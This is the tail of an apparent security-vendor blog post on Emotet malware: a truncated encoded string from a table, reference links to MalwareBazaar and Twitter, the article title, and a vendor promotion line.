pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==</td></tr></tbody></table>&nbsp;<h3>References</h3>* Figure 1: <a href="https://bazaar.abuse.ch/browse/signature/Heodo/" target="_blank">MalwareBazaar</a>† Figure 2: <a href="https://twitter.com/Cryptolaemus1/status/1580261200331689984" target="_blank">Twitter</a>

Emotet’s Vacation is Over: No Rest for the Wicked

Deep Instinct Included in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms (EPP)